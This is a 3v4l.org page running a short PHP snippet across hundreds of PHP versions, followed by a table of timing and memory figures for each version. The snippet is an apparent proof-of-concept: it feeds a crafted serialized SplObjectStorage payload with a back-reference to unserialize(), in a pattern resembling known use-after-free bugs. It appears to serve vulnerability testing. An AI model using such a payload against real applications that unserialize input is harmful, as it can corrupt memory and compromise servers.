3v4l.org

run code in 300+ PHP versions simultaneously
<?php $inner = 'x:i:1;O:8:"stdClass":0:{};m:a:0:{}'; $exploit = 'a:2:{i:0;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01016.50
8.3.50.0230.01422.05
8.3.40.0040.01118.68
8.3.30.0070.00718.84
8.3.20.0040.00420.00
8.3.10.0040.00423.41
8.3.00.0050.00319.97
8.2.180.0090.00916.50
8.2.170.0100.01022.96
8.2.160.0000.01420.39
8.2.150.0040.00424.18
8.2.140.0000.00824.66
8.2.130.0050.00321.07
8.2.120.0030.00626.35
8.2.110.0060.00320.47
8.2.100.0060.00617.93
8.2.90.0000.00819.06
8.2.80.0000.00817.97
8.2.70.0060.00317.63
8.2.60.0040.00417.93
8.2.50.0040.00418.07
8.2.40.0040.00421.04
8.2.30.0000.01220.70
8.2.20.0030.00617.70
8.2.10.0040.00418.21
8.2.00.0070.00018.18
8.1.280.0180.00325.92
8.1.270.0000.01218.85
8.1.260.0070.00028.09
8.1.250.0080.00028.09
8.1.240.0060.00322.14
8.1.230.0030.00918.97
8.1.220.0040.00417.79
8.1.210.0030.00518.77
8.1.200.0040.00417.48
8.1.190.0020.00517.70
8.1.180.0050.00318.10
8.1.170.0060.00318.51
8.1.160.0000.00820.73
8.1.150.0000.00718.81
8.1.140.0050.00319.58
8.1.130.0050.00217.66
8.1.120.0000.00717.36
8.1.110.0030.00617.43
8.1.100.0000.00717.45
8.1.90.0000.00917.37
8.1.80.0000.00917.48
8.1.70.0040.00417.32
8.1.60.0000.00717.64
8.1.50.0000.00917.54
8.1.40.0050.00317.42
8.1.30.0050.00317.62
8.1.20.0040.00417.63
8.1.10.0040.00417.51
8.1.00.0050.00517.58
8.0.300.0070.00018.77
8.0.290.0040.00416.88
8.0.280.0040.00418.58
8.0.270.0040.00417.31
8.0.260.0030.00317.18
8.0.250.0070.00017.05
8.0.240.0030.00316.93
8.0.230.0000.00717.03
8.0.220.0000.00716.98
8.0.210.0000.00816.89
8.0.200.0060.00017.07
8.0.190.0030.00516.92
8.0.180.0070.00316.88
8.0.170.0040.00416.98
8.0.160.0000.00716.95
8.0.150.0000.00816.93
8.0.140.0050.00216.89
8.0.130.0000.00613.35
8.0.120.0030.00616.93
8.0.110.0090.00016.91
8.0.100.0070.00016.90
8.0.90.0050.00217.00
8.0.80.0060.00916.93
8.0.70.0040.00416.79
8.0.60.0050.00316.96
8.0.50.0000.00716.83
8.0.30.0070.01317.13
8.0.20.0080.01117.40
8.0.10.0050.00217.02
8.0.00.0130.00816.94
7.4.330.0020.00216.84
7.4.320.0030.00316.52
7.4.300.0040.00416.52
7.4.290.0030.00316.59
7.4.280.0070.00016.42
7.4.270.0030.00316.66
7.4.260.0030.00316.45
7.4.250.0020.00516.50
7.4.240.0030.00416.46
7.4.230.0050.00216.55
7.4.220.0130.01316.42
7.4.210.0030.01216.48
7.4.200.0040.00416.35
7.4.160.0090.00616.45
7.4.150.0070.01317.40
7.4.140.0130.00817.86
7.4.130.0070.01016.42
7.4.120.0130.00616.43
7.4.110.0120.00616.51
7.4.100.0060.01616.45
7.4.90.0130.00616.39
7.4.80.0040.01419.39
7.4.70.0140.02116.63
7.4.60.0030.01516.55
7.4.50.0090.00616.21
7.4.40.0100.00716.46
7.4.30.0100.00716.61
7.4.00.0000.01615.07
7.3.330.0050.00013.11
7.3.320.0000.00613.22
7.3.310.0030.00316.41
7.3.300.0000.00716.37
7.3.290.0020.01316.36
7.3.280.0060.00516.32
7.3.270.0120.00917.40
7.3.260.0160.00716.36
7.3.250.0140.00716.49
7.3.240.0100.00616.58
7.3.230.0070.01116.39
7.3.210.0100.00716.55
7.3.200.0060.01316.50
7.3.190.0130.01016.52
7.3.180.0070.01016.41
7.3.170.0170.00316.45
7.3.160.0070.01016.56
7.3.10.0100.00616.56
7.3.00.0120.00516.56
7.2.330.0140.00616.60
7.2.320.0110.01216.60
7.2.310.0060.01016.53
7.2.300.0120.00616.76
7.2.290.0100.01316.54
7.2.130.0070.01016.64
7.2.120.0150.00516.50
7.2.110.0150.00416.86
7.2.100.0050.01316.75
7.2.90.0200.00516.88
7.2.80.0090.00816.64
7.2.70.0160.00516.81
7.2.60.0080.00816.59
7.2.50.0110.00716.88
7.2.40.0150.00816.95
7.2.30.0090.00816.71
7.2.20.0130.00316.67
7.2.10.0090.00916.76
7.2.00.0120.00717.29
7.1.250.0090.00615.56
7.1.240.0040.01115.78
7.1.230.0030.00615.56
7.1.220.0040.01115.73
7.1.210.0070.00715.85
7.1.200.0080.00815.80
7.1.190.0120.00315.71
7.1.180.0030.01015.71
7.1.170.0000.01415.66
7.1.160.0040.00815.88
7.1.150.0000.00915.43
7.1.140.0030.00715.76
7.1.130.0090.00615.89
7.1.120.0150.00015.80
7.1.110.0040.00815.78
7.1.100.0430.01015.97
7.1.90.0000.01415.74
7.1.80.0000.01115.74
7.1.70.0060.00516.46
7.1.60.0080.01117.60
7.1.50.0040.01516.29
7.1.40.0030.01015.95
7.1.30.0040.00715.66
7.1.20.0000.01115.73
7.1.10.0040.00715.52
7.1.00.0070.03919.01
7.0.330.0070.00715.05
7.0.320.0110.00715.26
7.0.310.0090.00315.39
7.0.300.0060.00615.57
7.0.290.0000.01115.54
7.0.280.0040.00715.14
7.0.270.0070.00715.11
7.0.260.0040.00715.37
7.0.250.0070.00715.54
7.0.240.0130.00315.05
7.0.230.0100.00715.46
7.0.220.0030.01215.38
7.0.210.0070.00715.38
7.0.200.0030.00515.99
7.0.190.0030.01215.32
7.0.180.0040.00715.04
7.0.170.0070.00715.03
7.0.160.0070.00715.41
7.0.150.0030.01015.44
7.0.140.0100.00315.32
7.0.130.0080.00815.01
7.0.120.0070.00715.50
7.0.110.0070.00715.11
7.0.100.0060.00615.17
7.0.90.0000.01315.44
7.0.80.0000.01515.51
7.0.70.0070.00715.22
7.0.60.0050.04717.58
7.0.50.0060.03316.70
7.0.40.0100.04316.82
7.0.30.0120.04816.73
7.0.20.0220.03816.65
7.0.10.0020.02816.87
7.0.00.0030.04416.88
5.6.380.0030.00714.49
5.6.370.0110.01014.10
5.6.360.0090.00314.26
5.6.350.0080.00414.69
5.6.340.0030.00914.61
5.6.330.0050.00514.05
5.6.320.0040.00814.48
5.6.310.0140.00814.47
5.6.300.0080.01714.63
5.6.290.0170.00714.84
5.6.280.0090.02817.77
5.6.270.0120.01214.37
5.6.260.0090.01514.78
5.6.250.0100.01514.58
5.6.240.0140.00914.39
5.6.230.0150.00914.51
5.6.220.0080.01514.32
5.6.210.0130.03917.41
5.6.200.0090.04716.22
5.6.190.0030.04817.28
5.6.180.0230.03717.46
5.6.170.0170.02017.26
5.6.160.0140.04017.51
5.6.150.0060.02116.11
5.6.140.0040.04916.16
5.6.130.0050.02516.20
5.6.120.0080.04517.66
5.6.110.0060.04617.80
5.6.100.0100.04317.72
5.6.90.0100.04317.69
5.6.80.0060.04617.29
5.6.70.0080.00614.29
5.6.60.0000.01414.27
5.6.50.0090.00614.07
5.6.40.0030.00914.08
5.6.30.0060.00614.27
5.6.20.0060.00614.05
5.6.10.0030.01314.20
5.6.00.0110.00314.48
5.5.380.0140.00411.25
5.5.370.0070.01111.29
5.5.360.0120.00611.04
5.5.350.0090.04415.75
5.5.340.0050.02314.40
5.5.330.0070.02815.56
5.5.320.0030.02715.79
5.5.310.0180.04015.60
5.5.300.0080.04114.44
5.5.290.0090.04214.54
5.5.280.0100.04116.04
5.5.270.0080.02815.93
5.5.260.0080.04415.86
5.5.250.0020.03715.83
5.5.240.0130.03315.71
5.5.230.0090.00310.94
5.5.220.0110.00010.79
5.5.210.0030.00511.02
5.5.200.0030.00511.00
5.5.190.0080.00011.25
5.5.180.0030.00910.69
5.5.170.0030.00611.07
5.5.160.0070.00410.99
5.5.150.0040.00711.14
5.5.140.0000.00510.79
5.5.130.0030.01010.77
5.5.120.0090.00011.13
5.5.110.0000.01010.79
5.5.100.0060.00010.96
5.5.90.0030.01011.25
5.5.80.0000.00710.72
5.5.70.0060.00311.16
5.5.60.0090.00311.12
5.5.50.0100.00011.00
5.5.40.0030.00911.07
5.5.30.0060.00611.14
5.5.20.0030.00711.18
5.5.10.0030.00611.11
5.5.00.0030.01010.83

preferences:
57 ms | 401 KiB | 5 Q